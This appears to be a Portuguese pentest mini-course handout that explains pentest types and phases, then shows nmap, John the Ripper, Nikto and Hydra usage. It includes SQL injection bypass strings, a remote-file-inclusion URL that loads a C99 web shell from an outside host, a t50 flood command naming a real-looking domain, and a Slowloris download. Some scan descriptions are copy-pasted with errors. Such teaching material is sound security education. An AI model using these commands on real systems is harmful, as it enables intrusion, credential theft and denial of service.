Mini Curso – Pen Test – UNIVEM

Evandro Villa Verde

evandrovv@gmail.com

Visão geral sobre o Pentest:

O Teste de Intrusão é um processo de análise detalhada do nível de segurança de um sistema ou rede usando a perspectiva de um infrator.
Trata-se de um teste realista ao nível de segurança das infra-estruturas e da informação que estas detêm.
No Teste de Intrusão são testadas vulnerabilidades técnicas e conceituais das infraestruturas alvo.
O objetivo principal é simular de forma controlada um ataque real que normalmente é executado por criminosos. Desta maneira é possível ter o conhecimento total do que poderia acontecer caso esse ataque realmente existisse, garantindo assim a possibilidade de uma estratégia de prevenção.

Tipos de Pentest:

Blind

Nessa modalidade o auditor não conhece nada sobre o alvo que irá atacar, porém o alvo sabe que será atacado e o que será feito durante o teste.
O grande risco desse tipo de teste, é que o alvo pode avisar a equipe de TI e decidirem fazer atualização do sistema, aplicar patchs de correção e segurança. Esse tipo de pentest é interessante para ter conhecimento de como e quais informações sobre a organização e sua infraestrutura é possível de um atacante ter acesso.

Double blind

Nessa modalidade o auditor não conhece nada sobre o alvo, e o alvo não sabe que será atacado e tão pouco sabe quais testes o auditor irá realizar.
É o método de pen test mais realista possível, aproximando-se de um ataque real, pois ambas as parte, auditor e alvo, não sabem com o que irão se deparar. Afinal, em um ambiente real, o atacante não sabe nada inicialmente sobre seu alvo, e o alvo nunca saberá qual tipo de ataque um cracker pode realizar contra sua infraestrutura.

Gray Box

Nessa modalidade o auditor tem conhecimento parcial do alvo, e o alvo sabe que será atacado e também sabe quais testes serão realizados.
Aproxima-se de um teste onde é simulado o ataque de dentro de um ambiente completamente monitorado e controlado.

Double Gray Box

Nessa modalidade o auditor tem conhecimento parcial do alvo, e o alvo sabe

que será atacado, porém, não sabe quais testes serão executados.
Esse é o melhor método para simular um ataque partindo de um funcionário insatisfeito, que possui privilégios de usuário, por exemplo, e procura realizar escalada de privilégios para ter acesso às informações que seu nível ou grupo não possui.

Tandem

Nessa modalidade o auditor tem total conhecimento sobre o alvo, o alvo sabe que será atacado e o que será feito durante o ataque. Também conhecido como “caixa de cristal”.
Esse tipo de pen test é bem próximo de uma auditoria, pois ambos estão preparados e sabem o que vai ser realizado. É o ideal para ser feito periodicamente, monitorando as vulnerabilidades novas e mudanças feitas na infraestrutura.

Reversal

Nessa modalidade o auditor tem conhecimento total do alvo, porém o alvo não sabe que será atacado, e tão pouco sabe quais testes serão executados.
Esse formato de teste é ideal para testar a capacidade de resposta e como está o timing de ação da equipe de resposta a incidentes do alvo.

Levantamento de Informações

Essa é a fase mais importante de um ataque e de um teste de invasão.
Baseado no que é descoberto nessa fase, todo o planejamento é realizado e os vetores de ataque definidos. Essa fase prossegue na fase seguinte, onde as informações iniciais são extendidas, de forma mais detalhada.
Podemos dizer que essa é a fase abrangente, e a fase seguinte detalha as informações adquiridas nessa primeira fase.
Qualquer informação que seja vinculado ao alvo é considerada de valor nesse primeiro passo:

- Concorrentes
- Nome de funcionários
- Endereços
- Telefones
- Sites
- Empresas
- Comunidades sociais
- Empresas do mesmo grupo e etc.

Varredura

Nessa fase o atacante busca informações mais detalhadas o alvo, que posam permitir definir seus vetores de ataque e enxergar as possibilidades que podem permitir ganhar acesso ao sistema, através da exploração de alguma falha encontrada.
Aqui buscamos informações que respondam algumas perguntas, como por exemplo:

● Qual sistema operacional o alvo utiliza?
● Quais os serviços estão sendo executados no alvo?
● Quais serviços estão disponíveis para acesso?
● Qual a versão de cada serviço sendo executado?
● Há IDS/IPS na rede?
● Há honeypots na rede?
● Há firewalls na rede?
● Existe uma rede interna e outra externa, como uma DMZ?
● Há serviços com acesso público rodando em alguma máquina?
● Há algum software malicioso já sendo executado em alguma máquina?

A partir dessas informações, o atacante pode buscar maiores detalhes na internet ou fóruns especializados em busca de exploits que permitam explorar falhas existentes nas versões dos serviços sendo executados.

Ganhando acesso

Aqui o atacante coloca em prática tudo aquilo que planejou a partir das informações obtidas previamente.
Dependendo de seus vetores de ataque, ele pode realizar uma série de ataques buscando ganhar acesso ao sistema alvo, como por exemplo:

● Ataques de força bruta local
● Ataques de força bruta remoto
● Captura de tráfego de rede
● Ataque de engenharia social
● Ataques às aplicações WEB
● Exploração de serviços
● Exploração de sistema operacional

Conseguindo acesso ao sistema, o atacante realizará uma série de operações buscando a elevação de seus privilégios caso o mesmo já não seja de root.

Mantendo acesso

Após conseguir o acesso, o atacante busca, de alguma forma, manter o acesso conseguido através de seus ataques. Isso normalmente não é utilizado por um pentester, a não ser que seja extremamente necessário.
O risco de configurar o sistema, implantando backdoors ou outro tipo de dispositivo que permita o acesso posterior, é que a ferramenta utilizada pode voltarse contra você, pois outras pessoas podem descobri-la, explorá-la e ganhar acesso facilmente ao sistema comprometido.
Portanto, essa fase, quando realizada durante um teste de invasão, precisa de extremo cuidado e planejamento para não trazer comprometimentos e prejuízos desnecessários ao alvo.

Limpando rastros

Nessa fase final do ataque, o atacante apaga todos os seus rastros, todos os registros de operações realizadas dentro do sistema comprometido.
Como o pen tester tem autorização para realizar os testes, não é necessário

apagar rastros. Isso se torna importante para um pen tester, apenas se quiser testar, também, a capacidade da equipe de perícia forense e respostas a incidentes de descobrir o que foi feito e recuperar informações alteradas.

Nmap:

Nmap pode ser considerada uma das ferramentas mais completas para realizar varreduras em redes, pois possui um número imenso de opções, permitindo
explorarmos quase todas as possibilidades de varreduras possíveis.
Essa ferramenta possui, inclusive, opções que permitem burlar sistemas de proteção, como IDS/IPS e Firewall, cujas regras poderiam bloquear ou detectar varreduras não permitidas.

Sintaxe: nmap [Scan Type(s)] [Options] {target specification}

Métodos de Varredura

-sP
Ping scan: Algumas vezes é necessário saber se um determinado host ou rede está no ar. Nmap pode enviar pacotes ICMP “echo request” para verificar se determinado host ou rede está ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotes ICMP “echo request”, então envia um pacote TCP ACK para a porta 80 (default) e caso receba RST o alvo está ativo. A terceira técnica envia um pacote SYN e espera um RST ou SYN-ACK.

-sV
Version detection: Após as portas TCP e/ou UDP serem descobertas por algum dos métodos, o nmap irá determinar qual o serviço está rodando atualmente. O arquivo nmap-service-probes é utilizado para determinar tipos de protocolos, nome da aplicação, número da versão e outros detalhes.

-sS
TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre uma conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta está aberta, enquanto que um RST-ACK como resposta indica que a porta está fechada. A vantagem dessa abordagem é que poucos irão detectar esse scanning de portas.

-sT
TCP connect() scan: É a técnica mais básica de TCP scanning. É utilizada a chamada de sistema (system call) “connect()” que envia um sinal as portas ativas.
Caso a porta esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos, porém fácil de ser detectado.

-sU

UDP scan: Este método é utilizado para determinar qual porta UDP está aberta em um host. A técnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se for recebida uma mensagem ICMP “port unreachable” então a porta está fechada, senão a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugestão da RFC e com isso a varredura de máquinas Windows é muito rápida.

-sF, -sX, -sN

Stealth FIN, Xmas Tree ou Null: Alguns firewalls e filtros de pacotes detectam pacotes SYN's em portas restritas, então é necessário utilizar métodos
avançados para atravessar esses softwares.
FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. (Esse método não funciona com a
plataforma Windows, uma vez que a Microsoft não seguiu RFC 973)
Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. As flags FIN, URG e PUSH são
utilizados nos pacotes FIN que é enviado ao alvo. (Esse método não funciona com a
plataforma Windows, uma vez que a Microsoft não seguiu RFC 973)
Null: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. Nenhuma flag é ligada no pacote
FIN. (Esse método não funciona com a plataforma Windows, uma vez que a Microsoft
não seguiu RFC 973)

-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>

Esse parâmetro seta a prioridade de varredura do Nmap:
● **Paranoid (-T0)** é muito lento na esperança de prevenir a detecção pelo sistema IDS. Este serializa todos os scans (scanning não paralelo) e geralmente espera no mínimo 5 minutos entre o envio de pacotes.
● **Sneaky (-T1)** é similar ao Paranoid, exceto que somente espera 15 segundos entre o envio de pacotes.
● **Polite (-T2)** tem o significado para facilitar a carga na rede e reduzir as chances de travar a máquina. Ele serializa os testes e espera no mínimo

0.4 segundos entre eles.
● **Normal (-T3)** é o comportamento default do Nmap, o qual tenta executar tão rápido quanto possível sem sobrecarregar a rede ou perder hosts/portas.
● **Aggressive(-T4)** esse modo adiciona um timeout de 5 minutos por host e nunca espera mais que 1.25 segundos para testar as respostas.
● **Insane (-T5)** é somente adequando para redes muito rápidas ou onde você não se importa em perder algumas informações. Nesta opção o

timeout dos hosts acontece em 75 segundos e espera somente 0.3 segundos por teste individual.

Opcoes Interessantes:
-p → Utilizado para especificar portas
-O → Mostra a versao do S.O
-P0 → Desativa ICMP tipo 8 e o TCP ACK na porta 80

Ferramentas backtrack (scanners):
Amap: Analiza banners de serviços que estão sendo executados, e informa o nome e versão.
AutoScan: Faz varredura na rede e informa hosts ativos, portas abertas e serviços sendo
executados. Funciona através de uma interface gráfica.
Maltego: Faz varredura de redes, serviços, protocolos, domínios e várias outras opções,
informando de forma gráfica a relação entres os hosts ativos.
Lanmap: Varre toda a rede e captura pacotes, criando ao longo de sua execução um
arquivo .PNG com o mapa da rede, informando graficamente a relação das máquinas
encontradas.
Cheops: Varre toda a rede em busca de hosts ativos, informando graficamente, através
de um mapa, os hosts ativos, S.O. sendo executado, portas abertas, serviços sendo
executados. Utiliza o nmap por debaixo de sua execução, para realizar as varreduras.
Nessus: Através de plugins específicos, varre um determinado alvo, informando as
vulnerabilidades encontradas, inclusive exibindo o link de onde podemos encontrar
mais informações sobre determinada vulnerabilidade e seu exploit.

Xprobe 2

Xprobe2 analisa banners de sistemas operacionais, comparando com um banco de dados interno, onde compara-os e informa o S.O. utilizado e a versão do mesmo.

Exemplo:
xprobe2 [host-name]
xprobe2 <ip>
xprobe2 –p TCP:80:open <ip>

Geração de Wordlist

Existem diversas ferramentas que auxiliam na geração de uma wordlist. Abaixo listaremos algumas das ferramentas que podem ser usadas para a realização
dessa tarefa.

 # crunch 5 8 12345678 > /tmp/wordlist-numeric

Onde:
● 5 – tamanho mínimo da palavra
● 8 – tamanho máximo da palavra
● 12345678 – Caracteres que serão usados para a geração da lista

Temos mais algumas opções a definir com esta ferramenta, mas desta vez vamos tentar criar combinações mais próximas do ”mundo real” onde muitas vezes,ou por falta de criatividade ou medo de esquecer a senha as pessoas acabam associando ao próprio nome uma data, casamento, namoro, nascimento, aniversário
do papagaio, etc. Vamos ver como poderíamos ”adivinhar” a senha o Júnior.

 # crunch 10 10 1234567890 -t junior@@@@ > /tmp/juniorlist

Onde:
● 10 – tamanho mínimo da palavra
● 10 – tamanho máximo da palavra
● 1234567890 – Caracteres que serão usados para a geração da lista

John The Ripper

O John é um dos utilitários mais conhecidos para decifrar senhas no Linux, pois consegue decifrar algoritmos usados pelo sistema como o MD5 e outras. Toda a configuração do John é feita em um arquivo texto chamado john.conf em Unix ou john.ini no Windows, por exemplo. Neste arquivo você consegue definir regras para a descoberta de senhas, wordlists, parâmetros para os modos e até definir um novo modo de descoberta de senhas.
Este arquivo é dividido em várias seções. Todas as seções começam com uma linha com seu nome entre colchetes ([ ]). As opções destas seções são definidas em variáveis de modo bem simples, como em:
● variável = valor
Os nomes de seções e variáveis são case-insensitive, ou seja, SECAO1 e secao1 são a mesma seção e VAR1 e var1 são a mesma variável. Os caracteres # e ;
são completamente ignorados, assim como linhas em branco.
Abaixo estão as explicações das opções dividas por seção:
Options:
● Wordlist: A wordlist a ser utilizada pelo JtR. O arquivo pode estar em qualquer lugar, basta especificar o caminho correto nessa variável;
● Idle: Configura o John para usar seu CPU quando este estiver inativo. Diminui o desempenho da quebra da senha, porém não impacta tanto no desempenho de outros programas. O padrão desta opção é N (desabilitado);
● Save: Intervalo no qual o software irá gravar seu progresso para no caso de uma interrupção ele possa recomeçar novamente de onde havia parado;
● Beep: Emite um bip quando uma senha é quebrada.
List.Rules:Single
Nesta seção ficam as regras default do software para a quebra das senhas.

São regras como substituição de strings, escrita 1337 e outras.

List.Rules:Wordlist

Nesta seção ficam as regras de substituição de caracteres, modificações de palavras, etc quando se está usando uma wordlist para tentar quebrar as senhas do
arquivo.

List.Rules:NT

Nesta seção ficam as regras utilizadas quando se está quebrando senhas cifradas utilizando o algoritmo NTLM (Windows).

Incremental*

Aqui ficam as regras para o tipo de quebra de senhas chamado Incremental (todos os "tipos" de tentativas de quebra de senha que o John utiliza serão explicados
mais adiante neste documento).

List.External:*

São alguns filtros pré-definidos para substituição de palavras, eliminação de caracteres indesejados, etc.

12.5.1. MODOS

JtR utiliza alguns modos para que consiga otimizar a quebra da senha. Estes modos são explicados a seguir:

● Modo Wordlist

Para utilizar esse método você vai precisar de uma wordlist. Existem vários lugares na Internet que possuem milhares de wordlists disponíveis gratuitamente, é
só dar uma olhada no Google que você irá encontrar várias. Para te ajudar, aqui no
item "Wordlists" você encontra vários links para wordlists disponíveis na Internet. Lá
você também encontra algumas dicas de como organizar a sua lista. Mas vale lembrar que não é bom que você tenha entradas duplicadas na sua lista, o Jhon the
Ripper não vai fazer absolutamente nada com a sua wordlist antes de começar a testar as palavras que tem nela.

Este é o modo mais simples suportado pelo John. Para utilizá-lo você só especifica uma wordlist e algumas regras para ele fazer combinações das palavras que ele encontrar na lista que você especificou. Quando utilizando determinados algoritmos, o JtR se beneficiará se você colocar senhas com tamanhos mais ou menos
parecidos perto umas das outras. Por exemplo, seria interessante você colocar as senhas com 8, 6 ou 9 caracteres perto umas das outras na sua wordlist. A wordlist
padrão a ser utilizada pelo John é definida no arquivo john.conf.

● Modo Single Crack

É neste modo que você deveria começar a tentar quebrar uma senha. Aqui, além de várias regras de handling serem aplicadas, o JtR vai utilizar mais informações como o nome completo do usuário e seu diretório home para tentar

descobrir qual é a senha. Este modo é muito mais rápido que o modo "Wordlist".

● Modo Incremental
Este é o modo mais poderoso do JtR. Nele serão tentadas todas as combinações possíveis de caracteres para tentar quebrar a senha cifrada. Dada a
grande quantidade de combinações possíveis, é recomendável que se defina alguns
parâmetros (como tamanho da senha ou conjunto de caracteres a serem utilizados)
para que você não fique esperando pela senha ser quebrada por muito tempo. Todos os parâmetros para este modo são definidos no arquivo john.conf, nas seções começadas com Incremental no nome.

● Modo External
Esse modo é bastante complexo. Nele você pode definir regras próprias para o John seguir ao tentar quebrar uma senha. Tais regras são definidas em uma linguagem parecida com a C no arquivo de configuração do programa. Ao ser especificado este modo ao tentar quebrar uma senha na linha de comando, o JtR vai
pré-processar as funções que você escreveu para este modo e utilizá-las. A documentação de uso desse modo pode ser obtida em:
http://www.openwall.com/john/doc/EXTERNAL.shtml

O John suporta várias opções de linha de comando, geralmente usadas para ativar determinados modos de uso do software. Preste bastante atenção no case das opções, o JtR é case-sensitive! Uma característica muito legal dele é que é possível abreviar as opções da linha de comando desde que não haja ambigüidade (mais ou menos da maneira como ocorre no shell de roteadores Cisco, por exemplo).
Abaixo vou dar uma explicação básica das opções que o John suporta. Se você se esquecer de alguma opção quando estiver utilizando o JtR, é só digitar "john" no terminal e todas as opções serão impressas para você. As opções podem ser definidas utilizando -- ou - e seus parâmetros são definidos utilizando = ou :.

● --single: Define o modo "single" para quebrar as senhas.
● --wordlist=ARQUIVO: Define o modo "wordlist" para quebrar as senhas e define o arquivo ARQUIVO como sendo de onde as senhas serão lidas. Aqui você pode utilizar também a opção --stdin para dizer que as palavras virão da entrada padrão.
● --incremental: Define que será utilizado o modo "incremental" para quebrar a senhas. Opcionalmente você pode definir que tipo de modo incremental será utilizado fazendo --incremental[=MODO].
● --external=MODO: Define que será utilizado o modo external.
● --rules: Habilita as regras para wordlist definidas em john.conf quando se utiliza o modo wordlist.
● --stdout[=LENGTH]: Quando utilizado, faz com que o JtR imprima as possíveis senhas direto na saída padrão ao invés de tentá-las contra um

hash. Se você definir o parâmetro LENGTH só serão impressas senhas com caracteres até a quantidade especificada em LENGTH.
● --restore[=NOME]: Faz com que uma sessão que foi interrompida anteriormente continue de onde parou. Se você definir um nome diferente para a sessão, especifique o nome dela na linha de comando

junto com esta opção. A sessão fica gravada na home do John, em um arquivo chamado john.rec.
● --session=NOME: Define o nome da sessão que pode ser utilizado com a opção restore. A esse nome será automaticamente adicionado a extensão .rec.
● --status[=NOME]: Mostra o status da última sessão ou, se definido o nome da sessão, da sessão especificada.
● --make-charset=ARQ: Gera um arquivo charset para ser utilizado no modo "incremental".
● --show: Mostra as senhas do arquivo que você especificou para o JtR que já foram quebradas. Esta opção é especialmente útil quando você tem outra instância do JtR rodando.
● --test: Esta opção faz um benchmark de todos os algoritmos compilados no software e os testa para saber se estão funcionando corretamente. Esta opção já foi explicada anteriormente.
● --users=[-]Nome do usuário ou UID: Com esta opção você pode especificar para o JtR quais usuário você quer tentar quebrar a senha. Você pode utilizar o nome de usuário ou o UID dele e pode separar vários usuários utilizando uma vírgula. Utilizando o "-" antes do nome do usuário, você faz com que o John ignore aquele usuário ou UID.
● --groups=[-]GID: Faz com que o John tente quebrar apenas as senhas dos usuários participantes de um grupo especificado (ou ignorá-los, se você utilizar o "-").
● --shells=[-]SHELL: Apenas tenta quebrar as senhas dos usuários cujas shells sejam iguais à que foi especificada por você na linha de comando. Utilizando o "-" você ignora as shells especificadas.
● --salts=[-]NUMERO: Deixa você especificar o tamanho das senhas que serão (ou não) testadas. Aumenta um pouco a performance para quebrar algumas senhas, porém o tempo total utilizando esta opção acaba sendo o mesmo.
● --format=FORMATO: Permite a você definir o algoritmo a ser usado para quebrar a senha, ignorando a detecção automática do software. Os formatos suportados atualmente são DES, BSDI, MD5, AFS e LM. Você também pode utilizar esta opção quando estiver utilizando o comando --test, como já foi explicado anteriormente neste texto.
● --save-memory=1, 2 ou 3: Esta opção define alguns níveis para dizer ao John com qual nível de otimização ele irá utilizar a memória. Os níveis variam de 1 a 3, sendo 1 a mínima otimização. Esta opção faz com que o JtR não afete muito os outros programas utilizando muita memória.

Descobrindo Vulnerabilidades com Nikto

Nikto é um script Perl usado para testar a segurança de seu servidor web. Ele

faz a varredura em servidores Apache tanto em busca de vulnerabilidades, quanto de falhas de configuração, que podem, de alguma forma, expor o servidor à exploração por algum atacante malicioso, já que, se o servidor estiver hospedando algum site ou aplicação de acesso público, o risco de exploração é imenso.
Para atualizar e executar o Nikto, utilizamos os seguintes comandos:

 # ./nikto.pl -update
 # ./nikto.pl -h 192.168.131.1 -o /192.168.131.1.txt

Command Inject - Shell PHP

Um dos mais famosos shell em php é o C99, criada pelo Captain Crunch Security Team, mas existem diversas r57, php shell, R9 etc…
A c99 é a mais usada pela sua simplicidade sem muitos conhecimentos de comandos unix.
Podemos conseguir uma shell baixando um arquivo php com o código da mesma e hospedando-a em um site. Ou simplesmente buscando na web.
Dois exemplos de sites que possuem shells são:

http://corz.org/corz/c99.php

A partir de um site vulnerável, podemos chamar a shell que está hospedada em um site e simplesmente começar a operar dentro do site como se tivêssemos na linha de comando.
Como por exemplo:

http://www.sitevitima.com/menu.php?page=http://corz.org/corz/c99.php

SQL Injection

SQL Injection é um problema que ocorre quando o programa não filtra caracteres especiais enviados pelo usuário antes de fazer a requisição para o banco de dados, enviando caracteres que serão interpretados pelo banco de dados. SQL Injection é mais comum em aplicações web, porém outros tipos aplicações também podem estar vulneráveis.

Vamos analisar o trecho de código abaixo.
*Select * from usuarios where username = ‘” + username + “’ and password = ‘” + password “’;*
Como ficaria a chamada no banco de dados se enviássemos no username e password o conteúdo: ‘ or ‘1’=‘1 ?

Reposta:
*Select * from usuarios where username = ‘’ or ‘1’=‘1’ and password = ‘’ or ‘1’=‘1’;*
Onde:
' - Fecha a variável de entrada do usuário

OR - Continua a expressão SQL
1=1 - Uma expressão verdadeira
Como 1 é sempre igual a 1, teremos uma “verdade” e passaremos pela checagem.
Esse é um tipo de dados que poderíamos passar para aplicativos vulneráveis e burlar o sistema de autenticação. Faremos isso na prática com o WebGoat.

Exemplos de SQL Injection :
' or '1
' or '1'='1
' or 1=1-
'or''='
' or 'a'='a
') or ('a'='a
'or '=1

Hydra (Brute force)

 # hydra –l root -p toor –t 12 127.0.0.1 ssh
Ele irá efetuar um bruteforce com usuário root com a senha toor com 12 threads no
loopback na porta SSH
 # hydra –l root -P wordlist.txt –t 12 127.0.0.1 ssh
Ele irá efetuar um bruteforce com usuário root com a senha buscando na wordlist.txt com
12 threads no loopback na porta SSH
-R Restaura sessões abordadas/quebradas.
-S Conexão segura usando SSL caso seja necessário.
-s Especifica qual porta o hydra vai estabelecer a conexão.
-l Nome|login da vitima.
-L Carrega uma lista contendo nomes|logins de vitimas. (1 por linha)
-p Especifica senha única.
-P Carrega uma lista com senhas.(1 por linha)
-e ns adcional 'n' testa senha em branco || adicional 's' testa user como pass.
-C Usado para carregar um arquivo contendo usuário:senha. formato usuário:senha
equivale a -L/-P.
-M Carrega lista de servidores alvos.(1 por linha)
-o Salva as senhas encontradas dentro do arquivo que você especificar.
-f Faz o programa parar de trabalhar quando a senha||usuário for encontrada[o].
-t Limita o numero de solicitações por vez.(default: 16)
-w Define o tempo máximo em segundos para esperar resposta do serv.(default: 30s)
-v / -V Modo verbose do programa. 'V' mostra todas tentativas.

3. No index.php cole o seguinte conteúdo
<form action="verificar.php" method="post">
Login: <input name="login" type="text">
Senha: <input name="senha" type="password">

```
<input type="submit" name="logar" value="Logar-se">
</form>
```

4. No verificar .php crie o seguinte conteúdo:

```
<?
$login = $_POST['login'];
$senha = $_POST['senha'];
if( $login != teste || $senha != teste9 ) {
echo "Login e senha incorretos";
}else{
?>
O CONTEUDO DA SUA PÃINA IRÃAQUI!
<?
}
?>
```

Exemplo:
hydra -l teste -P wordlist 192.168.1.105 http-post-form "/verificar.php:login=^USER^&senha=^PASS^:Login e senha incorretos"

Denial of service:

```
# ./t50 www.ofm.com.br --flood --turbo --dport 80 -S --protocol ICMP
./t50 192.168.1.105 --flood --turbo --dport 80 -S –protocol
```

--encapsulated (envia pacotes encapsulados)
--list-protocols (lista os protocolos permitidos)
--sport (Porta de origem)
--dport (Porta de destino)
-s (ip de origem)
--flood (
--turbo (Aumenta a performance)
-S (envia a flag SYN)

#./t50 (xxx.xxx.xxx.xxx) --flood --turbo --dport (nn) -S -s (xxx.xxx.xxx.xxx) --protocol (ppp)

Slowloris: Atacandos velhos apaches

```
# wget http://ha.ckers.org/slowloris/slowloris.pl
# chmod 777 slowloris.pl
```

Ele funciona enviando, atraves de um processo multi-thread, varias requisições parciais ao servidor Web alvo, que na verdade, nunca sõo completadas. Servidores como o apache, mantem por um determinado tempo as conexoes tcp, entao o que acontece é o seguinte:
Ele manda inúmeras dessas requisições maliciosas, não as completando, espera um pouco mais e vai mandando mais varias levas de novas requisições dessas, e por ai vai.
Esse processo fica se repetindo até que você peça para ele parar.